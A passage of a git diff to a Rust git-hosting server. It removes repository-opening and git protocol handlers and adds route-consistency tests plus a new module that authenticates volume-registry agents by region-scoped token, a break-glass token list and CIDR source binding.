secret. The public listener always presents `Trusted(None)`. - let auth_owner = match &trusted.0 { - Some(o) => Some(o.clone()), - None => { - let token = headers - .get(header::AUTHORIZATION) - .and_then(|v| v.to_str().ok()) - .and_then(|v| v.strip_prefix("Basic ")) - .and_then(|b| base64::engine::general_purpose::STANDARD.decode(b).ok()) - .and_then(|d| String::from_utf8(d).ok()) - .and_then(|s| s.split_once(':').map(|(_, p)| p.to_string())); - match token { - Some(t) => { - let owner = app.store.owner_for_token(&t).await.map_err(internal)?; - if owner.is_none() { - return Err(unauthorized()); - } - owner - } - // No credentials is not yet a failure: a public repo may still admit this caller. - None => None, - } - } - }; - // Parsed before the visibility check: the raw path segment still carries `.git`, and looking - // that up would warm a second, bogus pool entry alongside the repo's real one. - let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { - return Err((StatusCode::BAD_REQUEST, "invalid repository path").into_response()); - }; - // Gated on `repo_exists`, which asks the object store rather than the pool: `is_public` goes - // through `db_for`, and that CREATES a database for whatever name it is handed. Unguarded, an - // anonymous request on the public listener could conjure and warm a repo per mistyped path. - let public = app.store.repo_exists(&owner, &name).await.unwrap_or(false) - && app.store.is_public(&owner, &name).await.unwrap_or(false); - if !crate::auth::authorize(auth_owner.as_deref(), &owner, public && read_only) { - // No credentials at all gets 401, not 404/403: it tells the client to present a token, - // whereas a private repo denied to an authenticated stranger looks like FORBIDDEN. - return Err(if auth_owner.is_none() { - unauthorized() - } else { - StatusCode::FORBIDDEN.into_response() - }); - } - match app.store.open_repo(&owner, &name).await { - Ok(Some(repo)) => Ok(repo), - Ok(None) => Err((StatusCode::NOT_FOUND, "repository not found").into_response()), - Err(e) if crate::pool::is_fenced(&e) => { - // Fenced at open time. Routing decides: still ours → evict (on_fenced does) and open - // once more; not ours → 503 so the client retries against the owner. - if app.on_fenced(&owner, &name).await { - match app.store.open_repo(&owner, &name).await { - Ok(Some(repo)) => Ok(repo), - Ok(None) => Err((StatusCode::NOT_FOUND, "repository not found").into_response()), - Err(e) => { - eprintln!("reopen after fence {owner}/{name}: {e}"); // ponytail: eprintln - Err(internal(e)) - } - } - } else { - Err(fenced_elsewhere()) - } - } - Err(e) => { - eprintln!("open_repo {owner}/{name}: {e}"); // ponytail: eprintln; swap for a logger when one exists - // We were routed here, so the map names us — and we have just proved we cannot serve. - // Holding the lease anyway leaves the repo with an owner that cannot open it until the - // TTL lapses; a forced claim makes that worse, because it fenced a peer to get here. - // Give the lease back now, so the next request claims fresh instead of waiting. - // Best-effort: a release that fails only means the TTL does the same job later. - let repo = format!("{owner}/{name}"); - if let Err(e) = app.release(&repo).await { - eprintln!("releasing {repo} after a failed open: {e}"); // ponytail: eprintln - } - Err((StatusCode::INTERNAL_SERVER_ERROR, "internal error").into_response()) - } - } -} - -/// Signals the (blocking) protocol worker that the client is gone. Axum drops the handler future -/// when the connection closes, so dropping this guard is our disconnect notification — without it -/// an abandoned clone would keep building its pack to completion on a blocking thread. -struct Disconnect(Arc); -impl Drop for Disconnect { - fn drop(&mut self) { - self.0.store(true, std::sync::atomic::Ordering::Relaxed); - } -} - -fn body_reader(headers: &HeaderMap, body: Bytes) -> Box { - if headers - .get(header::CONTENT_ENCODING) - .map(|v| v == "gzip") - .unwrap_or(false) - { - Box::new(flate2::read::GzDecoder::new(Cursor::new(body)).take(max_decompressed())) - } else { - Box::new(Cursor::new(body)) - } -} - -/// The repo to run the second attempt against, after a fence that routing says we can still own. -/// `None` means the caller should answer 503. -async fn reopen_after_fence(app: &App, owner: &str, name: &str) -> Option { - if !app.on_fenced(owner, name).await { - return None; - } - app.store.open_repo(owner, name).await.ok().flatten() -} - -async fn info_refs( - State(app): State>, - Path((owner, name)): Path<(String, String)>, - Query(q): Query>, - axum::Extension(trusted): axum::Extension, - headers: HeaderMap, -) -> Response { - let service = q.get("service").cloned().unwrap_or_default(); - let repo = match open(&app, &trusted, &headers, &owner, &name, service == "git-upload-pack").await { - Ok(r) => r, - Err(r) => return r, - }; - // NOT the raw Path `owner`/`name`: those still carry the `.git` suffix (every real URL has - // it), which would name a database that does not exist. - let (o, n) = (repo.owner.clone(), repo.name.clone()); - let v2 = headers - .get("git-protocol") - .and_then(|v| v.to_str().ok()) - .map(|v| v.contains("version=2")) - .unwrap_or(false); - let store = app.store.clone(); - let svc = service.clone(); - let run_protocol = move |repo: Repo| { - let (store, svc) = (store.clone(), svc.clone()); - async move { - tokio::task::spawn_blocking(move || -> crate::Result> { - let mut out = Vec::new(); - match svc.as_str() { - "git-upload-pack" => { - if !v2 { - return Err(client_err( - "this server requires git protocol v2 for git-upload-pack.\n\ - git 2.26+ uses protocol v2 by default; older clients can opt in \ - with:\n\n git -c protocol.version=2 \n", - )); - } - upload::advertise(&mut out)?; - } - "git-receive-pack" => { - crate::pktline::write_text(&mut out, "# service=git-receive-pack")?; - crate::pktline::write_flush(&mut out)?; - receive::advertise(&store, &repo, &mut out)?; - } - _ => return Err(client_err(format!("unknown service: {svc}"))), - } - Ok(out) - }) - .await - } - }; - let success = |out: Vec| { - ( - [ - ( - header::CONTENT_TYPE, - format!("application/x-{service}-advertisement"), - ), - (header::CACHE_CONTROL, "no-cache".into()), - ], - out, - ) - .into_response() - }; - let res = match run_protocol(repo).await { - Ok(r) => r, - Err(e) => return internal(crate::err(e.to_string())), - }; - match res { - Ok(out) => success(out), - // See App::on_fenced. If routing still says we own it, reopen and run the request again. - Err(e) if crate::pool::is_fenced(&e) => match reopen_after_fence(&app, &o, &n).await { - None => fenced_elsewhere(), - Some(repo) => match run_protocol(repo).await { - Ok(Ok(out)) => success(out), - // a second fence is a real error, not retried again - Ok(Err(e)) if e.downcast_ref::().is_some() => bad_request(&e), - Ok(Err(e)) => internal(e), - Err(e) => internal(crate::err(e.to_string())), - }, - }, - Err(e) if e.downcast_ref::().is_some() => bad_request(&e), - Err(e) => internal(e), - } -} - -// ponytail: whole request/response buffered in memory; stream when repos get big -async fn upload_pack( - State(app): State>, - Path((owner, name)): Path<(String, String)>, - axum::Extension(trusted): axum::Extension, - headers: HeaderMap, - body: Bytes, -) -> Response { - let repo = match open(&app, &trusted, &headers, &owner, &name, true).await { - Ok(r) => r, - Err(r) => return r, - }; - let (o, n) = (repo.owner.clone(), repo.name.clone()); - let flag = Arc::new(std::sync::atomic::AtomicBool::new(false)); - let _guard = Disconnect(flag.clone()); - let store = app.store.clone(); - let hs = headers.clone(); - let run_protocol = move |repo: Repo, body: Bytes| { - let (store, flag, hs) = (store.clone(), flag.clone(), hs.clone()); - async move { - let mut input = std::io::BufReader::new(body_reader(&hs, body)); - tokio::task::spawn_blocking(move || { - let mut out = Vec::new(); - upload::serve(&store, &repo, &mut input, &mut out, &flag).map(|_| out) - }) - .await - } - }; - respond_first( - "application/x-git-upload-pack-result", - &app, - (&o, &n), - run_protocol, - body, - repo, - ) - .await -} - -async fn receive_pack( - State(app): State>, - Path((owner, name)): Path<(String, String)>, - axum::Extension(trusted): axum::Extension, - headers: HeaderMap, - body: Bytes, -) -> Response { - let repo = match open(&app, &trusted, &headers, &owner, &name, false).await { - Ok(r) => r, - Err(r) => return r, - }; - let (o, n) = (repo.owner.clone(), repo.name.clone()); - let flag = Arc::new(std::sync::atomic::AtomicBool::new(false)); - let _guard = Disconnect(flag.clone()); - let store = app.store.clone(); - let hs = headers.clone(); - let run_protocol = move |repo: Repo, body: Bytes| { - let (store, flag, hs) = (store.clone(), flag.clone(), hs.clone()); - async move { - let mut input = std::io::BufReader::new(body_reader(&hs, body)); - tokio::task::spawn_blocking(move || { - let mut out = Vec::new(); - receive::serve(&store, &repo, &mut input, &mut out, &flag).map(|_| out) - }) - .await - } - }; - respond_first( - "application/x-git-receive-pack-result", - &app, - (&o, &n), - run_protocol, - body, - repo, - ) - .await -} - -type Joined = std::result::Result>, tokio::task::JoinError>; - -/// Turn the first attempt into a response, and on a fence that routing says we may still own, run -/// it once more against a freshly opened handle. The body is `Bytes`, so that is a plain second -/// call. -async fn respond_first( - ct: &'static str, - app: &App, - (o, n): (&str, &str), - run_protocol: F, - body: Bytes, - repo: Repo, -) -> Response -where - F: Fn(Repo, Bytes) -> Fut, - Fut: std::future::Future, -{ - let res = match run_protocol(repo, body.clone()).await { - Ok(r) => r, - Err(e) => return internal(crate::err(e.to_string())), - }; - match res { - Ok(out) => success(ct, out), - // See App::on_fenced. If routing still says we own it, reopen and run the request again. - Err(e) if crate::pool::is_fenced(&e) => match reopen_after_fence(app, o, n).await { - None => fenced_elsewhere(), - Some(repo) => match run_protocol(repo, body).await { - Ok(Ok(out)) => success(ct, out), - // a second fence is a real error, not retried again - Ok(Err(e)) => internal(e), - Err(e) => internal(crate::err(e.to_string())), - }, - }, - Err(e) => internal(e), - } -} - -fn success(ct: &'static str, out: Vec) -> Response { - ( - [ - (header::CONTENT_TYPE, ct), - (header::CACHE_CONTROL, "no-cache"), - ], - out, - ) - .into_response() -} - #[cfg(test)] mod tests { use super::*; + /// The router and `BROWSE_TAILS` are two lists that must agree. A route in + /// one and not the other is unreachable (registered but refused by the + /// middleware) or unroutable (allowed through to a 404), and neither says + /// which. Read the routes out of the source and compare. + /// + /// Two shapes are scraped: the repo-scoped `/api/{owner}/{name}/{tail}` (most routes) and the + /// owner-scoped `/api/{owner}/{tail}` (`images` alone, today). Checking only the first shape + /// left `images` unverified — present in `BROWSE_TAILS` but nothing would catch it being + /// removed — so both shapes are asserted here. + #[test] + fn every_browse_route_is_routable() { + let src = include_str!("../browse_api/mod.rs"); + let mut tails: Vec<&str> = src + .split("\"/api/{owner}/{name}/") + .skip(1) + .filter_map(|rest| rest.split(['/', '"']).next()) + .filter(|t| !t.is_empty()) + .collect(); + let owner_scoped: Vec<&str> = src + .split("\"/api/{owner}/") + .skip(1) + .filter_map(|rest| rest.split(['/', '"']).next()) + .filter(|t| !t.is_empty() && *t != "{name}") + .collect(); + // Each shape must actually be found — a scrape that silently extracts nothing from one + // shape (say, the registration format changes) would otherwise pass vacuously, which is + // exactly what let `imagetags`'s routing bug through review. + assert!(!tails.is_empty(), "found no repo-scoped (`/api/{{owner}}/{{name}}/...`) routes"); + assert!(!owner_scoped.is_empty(), "found no owner-scoped (`/api/{{owner}}/...`) routes"); + assert!(tails.contains(&"refs"), "expected `refs` among the repo-scoped tails"); + assert!( + owner_scoped.contains(&"images"), + "expected `images` among the owner-scoped tails" + ); + tails.extend(owner_scoped); + tails.sort_unstable(); + tails.dedup(); + for tail in tails { + assert!( + BROWSE_TAILS.contains(&tail), + "browse_routes registers `{tail}` but BROWSE_TAILS does not list it, so the \ + routing middleware answers 404 before the router ever runs", + ); + } + } + #[test] fn an_api_path_is_only_ever_a_browse_route() { // `api` is a reserved owner, so this is `alice/info`'s refs — the same repo axum's router // dispatches it to — and never the git route of a repo `api/alice`. assert!(!git_shape("/api/alice/info/refs")); - assert_eq!(api_route("/api/alice/info/refs"), Some(("alice", "info"))); + assert_eq!(api_route("/api/alice/info/refs"), Some(("alice", "info", "refs"))); assert_eq!(repo_of("/api/alice/info/refs"), Some("alice/info".into())); assert_eq!(repo_of("/api/alice/web/tree/abc/src"), Some("alice/web".into())); + // `imagetags` is the one repo-scoped tail that routes by the IMAGE key, not the repo key: + // the image database is keyed `img/{owner}/{name}`, which may live on a different node than + // the git repo of the same name. + assert_eq!( + repo_of("/api/alice/web/imagetags"), + Some(crate::registry::routing_key("alice", "web")), + ); + assert_ne!(repo_of("/api/alice/web/imagetags"), repo_of("/api/alice/web/refs")); + // `volumes` is the second owner-scoped route: no repo to reach, so `None` means "serve + // here", exactly as it does for `images`. It reads the shared object store alone, which is + // the only reason that is safe. + assert_eq!(api_route("/api/alice/volumes"), Some(("alice", "", ""))); + assert_eq!(repo_of("/api/alice/volumes"), None); + // `volumehistory` names a VOLUME — a third keyspace, and a potentially different node than + // either the repo or the image of that name. + assert_eq!( + repo_of("/api/alice/ws-1/volumehistory"), + Some(rustic_git_workspaces::registry::routing_key("alice", "ws-1")), + ); + assert_ne!(repo_of("/api/alice/ws-1/volumehistory"), repo_of("/api/alice/ws-1/refs")); + // The delete routes by the same volume key: it opens the same database the history does, + // so it has to reach the same node. + assert_eq!(repo_of("/api/alice/ws-1/volumedelete"), repo_of("/api/alice/ws-1/volumehistory")); + // `snapshotdelete` carries a fourth segment, the snapshot id — `api_route` reads only the + // third, so the id never changes which node the request reaches. + assert_eq!( + repo_of("/api/alice/ws-1/snapshotdelete/snap-9"), + repo_of("/api/alice/ws-1/volumehistory"), + ); // An `/api/` path that is not a browse route is not routable at all. `repo_of` says None // and `route_inner` REFUSES it — it must never fall through to matchit, which would match // `/{owner}/{name}/git-upload-pack` with owner=`api`. See `api_prefixed`. @@ -942,6 +674,46 @@ mod tests { assert!(!crate::store::valid_owner("api")); } + /// `VOL_AGENT_TAILS` and the routes actually mounted in `vol_agent.rs` are two lists that + /// must agree, for the same reason `every_browse_route_is_routable` checks `BROWSE_TAILS` + /// against `browse_api/mod.rs`: a tail missing from the list is unreachable (the middleware + /// 404s it before the router runs), and one missing from the router is a route nothing serves. + #[test] + fn every_vol_agent_route_is_routable() { + let src = include_str!("../vol_agent.rs"); + let mut tails: Vec<&str> = src + .split("\"/vol-agent/{owner}/{name}/") + .skip(1) + .filter_map(|rest| rest.split(['"']).next()) + .filter(|t| !t.is_empty()) + .collect(); + assert!(!tails.is_empty(), "found no `/vol-agent/{{owner}}/{{name}}/...` routes"); + tails.sort_unstable(); + tails.dedup(); + for tail in tails { + assert!( + crate::vol_agent::VOL_AGENT_TAILS.contains(&tail), + "vol_agent_routes registers `{tail}` but VOL_AGENT_TAILS does not list it, so \ + the routing middleware answers 404 before the router ever runs", + ); + } + } + + #[test] + fn a_vol_agent_path_routes_by_the_volume_key_not_the_repo_key() { + assert_eq!( + repo_of("/vol-agent/alice/web/commits"), + Some(rustic_git_workspaces::registry::routing_key("alice", "web")), + ); + assert_ne!( + repo_of("/vol-agent/alice/web/commits"), + repo_of("/alice/web/info/refs"), + ); + // Shape matches but the owner is reserved (`vol` itself): unroutable, not silently local. + assert_eq!(repo_of("/vol-agent/vol/web/commits"), None); + assert!(crate::vol_agent::vol_agent_prefixed("/vol-agent/vol/web/commits")); + } + #[test] fn non_api_paths_are_unchanged() { assert_eq!(repo_of("/alice/web/info/refs"), Some("alice/web".into())); diff --git a/bins/server/src/vol_agent.rs b/bins/server/src/vol_agent.rs new file mode 100644 index 00000000..d07e8d0a --- /dev/null +++ b/bins/server/src/vol_agent.rs @@ -0,0 +1,439 @@ +//! The agent-facing volume registry surface: `/vol-agent/{owner}/{name}/{commits|ref|history}`. +//! +//! Mounted on BOTH listeners and gated by a per-region agent token — the same Bearer-style +//! pattern `crates/registry` already uses for the OCI registry — rather than the per-user bearer +//! tokens `git`/browse routes check. `RUSTIC_GIT_VOL_AGENT_TOKENS` (comma-separated) is a +//! shared-secret break-glass stand-in. The token is checked in the HANDLER, on the node that +//! finally serves the request: a public request landing on a non-owner is forwarded to the +//! owner's peer listener with the agent's headers intact, so the check happens exactly once, +//! wherever the database is. The peer listener's shared secret does not stand in for it — it +//! proves the caller is a node, not that the original client was an agent. +//! +//! A token authorizes writes to volumes of ITS OWN region only (`authorized_for`). It used to +//! authorize writes to any volume in the fleet, which meant one leaked agent token could rewrite +//! another region's commit history and move its `main` refs. The volume's owning region is stamped +//! into its own database by the first record ever written to it. +//! +//! Per-volume, so it is routed exactly like a repo or an image path — `repo_of` in +//! `router/route.rs` sends it through the ownership middleware before this handler ever runs, +//! because only the node holding `repo/vol/{owner}/{name}` may open that database. + +use crate::App; +use axum::{ + extract::{Path, State}, + http::StatusCode, + response::{IntoResponse, Response}, + Json, +}; +use rustic_git_storage::store::valid_owner; +use rustic_git_workspaces::api::WS_AGENT_HEADER; +use rustic_git_workspaces::model::Region; +use rustic_git_workspaces::registry::{CommitRecord, VolExt}; +use rustic_git_workspaces::store::MetaStore; +use std::sync::Arc; + +/// The final path segment of a `/vol-agent/{owner}/{name}/{tail}` route — the volume-registry +/// analogue of `registry::IMAGE_TAILS` and `route::BROWSE_TAILS`. A route missing from this list +/// is unreachable: `vol_agent_route` refuses it, and `route_inner`'s vol-agent block never falls +/// through to a handler that was never routed. +pub(crate) const VOL_AGENT_TAILS: [&str; 3] = ["commits", "ref", "history"]; + +/// Whether `path` starts with the `/vol-agent/` prefix, regardless of whether the rest parses. +pub(crate) fn vol_agent_prefixed(path: &str) -> bool { + let p = path.trim_start_matches('/'); + p == "vol-agent" || p.starts_with("vol-agent/") +} + +/// `Some((owner, name))` when the path names a volume's agent route. Strict like +/// `registry::image_route`: exactly `/vol-agent/{owner}/{name}/{tail}`, `tail` one of +/// `VOL_AGENT_TAILS`, `owner`/`name` valid segments (and `owner` not itself reserved). +pub(crate) fn vol_agent_route(path: &str) -> Option<(&str, &str)> { + let mut it = path.trim_start_matches('/').strip_prefix("vol-agent/")?.split('/'); + let (owner, name, tail) = (it.next()?, it.next()?, it.next()?); + if it.next().is_some() || !VOL_AGENT_TAILS.contains(&tail) { + return None; + } + (valid_owner(owner) && rustic_git_storage::store::valid_segment(name)).then_some((owner, name)) +} + + +/// Record-route auth accepts the same identities the job routes do: any region doc's minted +/// agent_token (the normal path — agents present the token their region registration handed +/// out) or the `RUSTIC_GIT_VOL_AGENT_TOKENS` break-glass list. The presented token may arrive +/// as a Bearer (the registry clients) or the WS agent header (the agent's job calls) — both +/// name the same secret. Constant-time compares throughout; empty never matches; nothing is +/// ever logged or echoed. +/// The region whose agent token this request presents, if any. +async fn presented_region(jobs: &JobsState, headers: &axum::http::HeaderMap) -> Option { + let presented = rustic_git_core::httpx::bearer_token(headers) + .or_else(|| headers.get(WS_AGENT_HEADER).and_then(|v| v.to_str().ok())) + .unwrap_or(""); + let regions = jobs.regions().await?; + regions + .iter() + .find(|r| !r.agent_token.is_empty() && rustic_git_core::peer::secret_eq(presented, &r.agent_token)) + .map(|r| r.id.clone()) +} + +fn presents_break_glass(headers: &axum::http::HeaderMap) -> bool { + let presented = rustic_git_core::httpx::bearer_token(headers) + .or_else(|| headers.get(WS_AGENT_HEADER).and_then(|v| v.to_str().ok())) + .unwrap_or(""); + break_glass_matches(presented) +} + +/// Whether this request may touch THIS volume's records. +/// +/// Scoped to the volume's own region, not merely to "some registered region". Before this, any +/// region's agent token authorized writes to every volume in the fleet, so one leaked token could +/// rewrite another region's commit history and move its `main` refs — a data-integrity blast +/// radius, not just a confidentiality one. +/// +/// A volume with no region stamped yet is claimed by its first writer (`append_commits` records +/// it). That is trust-on-first-use, and it is the honest limit of this check: it prevents a leaked +/// token from touching volumes that already belong to another region, which is what the audit +/// found, but it cannot stop one from claiming a volume nothing has written to. +/// ponytail: trust-on-first-use for an unstamped volume; the stronger form is the /v1 admission +/// path stamping the region at create time, before any agent writes. +/// +/// `Some(Some(region))` names the region whose token authenticated — the ONLY region a record +/// written through this request may carry. `Some(None)` is break-glass, which speaks for no +/// region. `None` is refused. +async fn authorized_for( + app: &App, + jobs: &JobsState, + headers: &axum::http::HeaderMap, + owner: &str, + name: &str, +) -> Option> { + // Break-glass stays deliberately fleet-wide: it exists for the case where the region records + // themselves are unreachable or wrong, which is exactly when scoping would lock you out. + if presents_break_glass(headers) { + return Some(None); + } + let region = presented_region(jobs, headers).await?; + // A token is a string; a string leaks. Binding each region's token to the addresses its nodes + // actually send from means a copy of it is useless from anywhere else — the same posture as + // the operator's NSG rules, applied to the one credential that can rewrite volume history. + // The client address is what the ingress resolved (`X-Real-IP` from `CF-Connecting-IP`, trusted + // only from Cloudflare's ranges — see deploy/ingress-nginx-config.yaml); with no binding + // configured for the region, the token alone still suffices, so an unlisted region is not + // locked out by this. + if !source_allowed(®ion, client_ip(headers), &std::env::var("RUSTIC_GIT_AGENT_SOURCES").unwrap_or_default()) { + tracing::warn!(%region, "agent token presented from an address outside the region's sources"); + return None; + } + match app.store.region(owner, name).await { + Ok(Some(owning)) => (owning == region).then_some(Some(region)), + // Never written to: the first writer claims it. + Ok(None) => Some(Some(region)), + // A database we cannot read is not an authorization decision we can make. + Err(_) => None, + } +} + +fn unauthorized() -> Response { + (StatusCode::UNAUTHORIZED, "invalid or missing agent token").into_response() +} + +pub(crate) async fn commits( + State(app): State>, + axum::Extension(jobs): axum::Extension>, + Path((owner, name)): Path<(String, String)>, + headers: axum::http::HeaderMap, + Json(records): Json>, +) -> Response { + let Some(region) = authorized_for(&app, &jobs, &headers, &owner, &name).await else { + return unauthorized(); + }; + // `append_commits` stamps an unstamped volume from the first record's `region`, so a record + // is only accepted for the region whose token authenticated it — otherwise a region-A token + // could stamp a fresh volume as region B and lock A out of it. + if let Some(region) = region { + if let Some(r) = records.iter().find(|r| r.region != region) { + return ( + StatusCode::BAD_REQUEST, + format!("record {} names region {:?}, the token is for {region:?}", r.id, r.region), + ) + .into_response(); + } + } + match app.store.append_commits(&owner, &name, &records).await { + Ok(()) => (StatusCode::OK, Json(serde_json::json!({"appended": records.len()}))).into_response(), + Err(e) => crate::router::internal(e), + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct MoveRef { + name: String, + commit: String, +} + +pub(crate) async fn move_ref( + State(app): State>, + axum::Extension(jobs): axum::Extension>, + Path((owner, name)): Path<(String, String)>, + headers: axum::http::HeaderMap, + Json(body): Json, +) -> Response { + if authorized_for(&app, &jobs, &headers, &owner, &name).await.is_none() { + return unauthorized(); + } + match app.store.move_ref(&owner, &name, &body.name, &body.commit).await { + // Ref moved to unknown commit: 404, not 409 — there is no conflicting write to lose to, + // just a commit id that was never appended (a push that named the wrong id, or arrived out + // of order). A caller that gets an unrelated conflict has nothing useful to retry. + Ok(false) => (StatusCode::NOT_FOUND, "unknown commit").into_response(), + Ok(true) => StatusCode::OK.into_response(), + Err(e) => crate::router::internal(e), + } +} + +pub(crate) async fn history( + State(app): State>, + axum::Extension(jobs): axum::Extension>, + Path((owner, name)): Path<(String, String)>, + headers: axum::http::HeaderMap, +) -> Response { + if authorized_for(&app, &jobs, &headers, &owner, &name).await.is_none() { + return unauthorized(); + } + match app.store.history(&owner, &name).await { + Ok(records) => Json(records).into_response(), + Err(e) => crate::router::internal(e), + } +} + +/// Mounted on BOTH routers: a public request that lands on a non-owning node is forwarded to the +/// owner's PEER listener, and a route missing there 404s every forwarded call — which is how the +/// first multi-node deployment failed. Both mounts share one `JobsState` so the peer side runs +/// the same token check on the forwarded headers. +pub fn vol_agent_routes() -> axum::Router> { + use axum::routing::{get, post}; + axum::Router::new() + .route("/vol-agent/{owner}/{name}/commits", post(commits)) + .route("/vol-agent/{owner}/{name}/ref", post(move_ref)) + .route("/vol-agent/{owner}/{name}/history", get(history)) +} + +// ── agent work surface: register / work / jobs/{id}/done / jobs/{id}/failed ──────────────────── +// +// Moved here verbatim from `crates/workspaces/src/api.rs`'s old `/v1/agent/*` routes (Task 7/8): +// this process runs on every server node already, so an agent fleet reaches it the same way it +// reaches the volume-commit routes above, instead of a separate `bins/api` process that exists +// for a completely different reason (browse reads) and has no natural relationship to the +// workspaces feature. `bins/api` keeps the USER-facing `/v1/workspaces|environments|regions` +// routes — those still need a JWT-verifying, admin-gated process, which this one is not. +// +// Not routed through the per-repo ownership middleware (`route::vol_agent_job_shape` carves an +// exception): the metadata these handlers touch lives in Cosmos, shared by every node, not in a +// per-repo SlateDB — so any node can answer, exactly like `/v2/token` and `/v2/_catalog`. + +/// Server-tier state for the agent work surface. `store` is `None` when no `COSMOS_ENDPOINT` is +/// configured — the routes are always mounted (so a request gets a clear 503, not a 404 that +/// reads as "this feature doesn't exist"), but every handler refuses immediately. +pub struct JobsState { + /// Regions, for `authorized` only. The job queue this struct was named for is gone, but the + /// record routes still authenticate agents against every region's minted `agent_token`, and + /// Cosmos is where regions live — so this is the region lookup, not a work queue. + /// ponytail: the name outlived the queue; rename to `AgentAuth` when something else touches + /// this file. + pub store: Option>, + /// The last region list read, and when. Every agent request used to fetch every region from + /// Cosmos, so a Cosmos blip took the whole volume registry down with it and the push rate WAS + /// the Cosmos request rate. The cost: a rotated token stays valid for up to `REGION_TTL`. + regions: std::sync::Mutex>)>>, +} + +const REGION_TTL: std::time::Duration = std::time::Duration::from_secs(60); + +impl JobsState { + pub fn new(store: Option>) -> Self { + JobsState { store, regions: std::sync::Mutex::new(None) } + } + + /// Every region, at most `REGION_TTL` stale. `None` with no store, or when the fetch failed + /// and nothing is cached — the caller then has only break-glass left. A failed refresh keeps + /// serving the stale copy: a blip must not lock every agent out. + async fn regions(&self) -> Option>> { + let store = self.store.as_ref()?; + let cached = self.regions.lock().unwrap().clone(); + if let Some((at, v)) = &cached { + if at.elapsed() < REGION_TTL { + return Some(v.clone()); + } + } + match store.regions().await { + Ok(fresh) => { + let fresh = Arc::new(fresh); + *self.regions.lock().unwrap() = Some((std::time::Instant::now(), fresh.clone())); + Some(fresh) + } + Err(e) => { + tracing::warn!(error = ?e, "reading regions; serving the cached list if any"); + cached.map(|(_, v)| v) + } + } + } +} + + +/// The address the ingress attributed the request to. `X-Real-IP` is set by ingress-nginx from +/// the real client address, never copied from the client, so it cannot be forged from outside. +/// `X-Forwarded-For` is deliberately NOT a fallback: its first hop is whatever the client wrote, +/// so any path that reaches the pod without the ingress (a NodePort, an in-cluster Service) would +/// turn the source binding into a one-header bypass. No address fails closed for a bound region. +fn client_ip(headers: &axum::http::HeaderMap) -> Option { + headers.get("x-real-ip").and_then(|v| v.to_str().ok()).and_then(|v| v.trim().parse().ok()) +} + +/// `RUSTIC_GIT_AGENT_SOURCES` is `region=cidr[,cidr];region2=...`. A region with no entry is +/// unbound; a region with an entry must present from one of its CIDRs. IPv4 only: the nodes are +/// Azure VMs with v4 public addresses, and a v6 client with a bound region's token is refused +/// (`None` address never matches a bound region), which is the safe direction. +fn source_allowed(region: &str, ip: Option, bindings: &str) -> bool { + let Some(cidrs) = bindings + .split(';') + .filter_map(|e| e.split_once('=')) + .find(|(r, _)| r.trim() == region) + .map(|(_, c)| c) + else { + return true; + }; + let Some(ip) = ip else { return false }; + cidrs.split(',').filter_map(|c| parse_cidr(c.trim())).any(|(net, bits)| { + let mask = if bits == 0 { 0 } else { u32::MAX << (32 - bits) }; + (u32::from(ip) & mask) == (u32::from(net) & mask) + }) +} + +fn parse_cidr(c: &str) -> Option<(std::net::Ipv4Addr, u32)> { + let (addr, bits) = c.split_once('/').unwrap_or((c, "32")); + Some((addr.parse().ok()?, bits.parse::().ok().filter(|b| *b <= 32)?)) +} + +fn break_glass_matches(tok: &str) -> bool { + let configured = std::env::var("RUSTIC_GIT_VOL_AGENT_TOKENS").unwrap_or_default(); + configured.split(',').map(str::trim).any(|t| rustic_git_core::peer::secret_eq(tok, t)) +} + + +#[cfg(test)] +mod tests { + #[test] + fn a_bound_region_accepts_only_its_own_addresses() { + use super::source_allowed; + let ip = |s: &str| Some(s.parse().unwrap()); + let b = "centralindia-k3s=40.80.82.158/32,20.219.22.61/32;other=10.0.0.0/8"; + assert!(source_allowed("centralindia-k3s", ip("40.80.82.158"), b)); + assert!(source_allowed("centralindia-k3s", ip("20.219.22.61"), b)); + assert!(!source_allowed("centralindia-k3s", ip("20.219.22.62"), b)); + assert!(!source_allowed("centralindia-k3s", None, b), "no address never matches a bound region"); + assert!(source_allowed("other", ip("10.42.1.9"), b)); + assert!(source_allowed("unbound", ip("1.2.3.4"), b), "an unlisted region is not locked out"); + assert!(source_allowed("centralindia-k3s", ip("9.9.9.9"), ""), "no config at all binds nothing"); + assert!(!source_allowed("centralindia-k3s", ip("1.2.3.4"), "centralindia-k3s=not-a-cidr"), "garbage binds to nothing"); + } + + #[test] + fn the_client_address_is_the_ingress_s_word_not_the_client_s() { + use super::client_ip; + let mut h = axum::http::HeaderMap::new(); + h.insert("x-forwarded-for", "8.8.8.8, 1.1.1.1".parse().unwrap()); + assert_eq!(client_ip(&h), None, "X-Forwarded-For is the client's word and never counts"); + h.insert("x-real-ip", "40.80.82.158".parse().unwrap()); + assert_eq!(client_ip(&h), Some("40.80.82.158".parse().unwrap()), "X-Real-IP is the ingress's word"); + } + + use super::*; + + #[test] + fn route_shape_matches_the_tails_list() { + assert_eq!(vol_agent_route("/vol-agent/alice/web/commits"), Some(("alice", "web"))); + assert_eq!(vol_agent_route("/vol-agent/alice/web/ref"), Some(("alice", "web"))); + assert_eq!(vol_agent_route("/vol-agent/alice/web/history"), Some(("alice", "web"))); + assert_eq!(vol_agent_route("/vol-agent/alice/web/frobnicate"), None); + assert_eq!(vol_agent_route("/vol-agent/alice/web"), None); + assert_eq!(vol_agent_route("/vol-agent/vol/web/commits"), None, "owner `vol` is reserved"); + assert!(vol_agent_prefixed("/vol-agent/alice/web/commits")); + assert!(!vol_agent_prefixed("/vol-agentxyz")); + } + + /// The break-glass half of the check, which is the half that stays fleet-wide. Region scoping + /// is exercised over HTTP in `tests/vol_agent.rs`, where a volume can actually be written and + /// so can actually have an owning region. + #[test] + fn break_glass_rejects_empty_and_mismatched() { + let mut h = axum::http::HeaderMap::new(); + + // No env configured at all: empty presented token, refused. + std::env::remove_var("RUSTIC_GIT_VOL_AGENT_TOKENS"); + assert!(!presents_break_glass(&h)); + + // Configured list, still no header presented: refused. An empty presented token must never + // match, however the list is configured. + std::env::set_var("RUSTIC_GIT_VOL_AGENT_TOKENS", "t1,t2"); + assert!(!presents_break_glass(&h)); + + // Mismatched Bearer token: refused. + h.insert(axum::http::header::AUTHORIZATION, "Bearer wrong".parse().unwrap()); + assert!(!presents_break_glass(&h)); + + // Matching break-glass token via Bearer: accepted. + h.insert(axum::http::header::AUTHORIZATION, "Bearer t2".parse().unwrap()); + assert!(presents_break_glass(&h)); + + // Matching break-glass token via the WS agent header instead of Bearer: accepted. + h.remove(axum::http::header::AUTHORIZATION); + 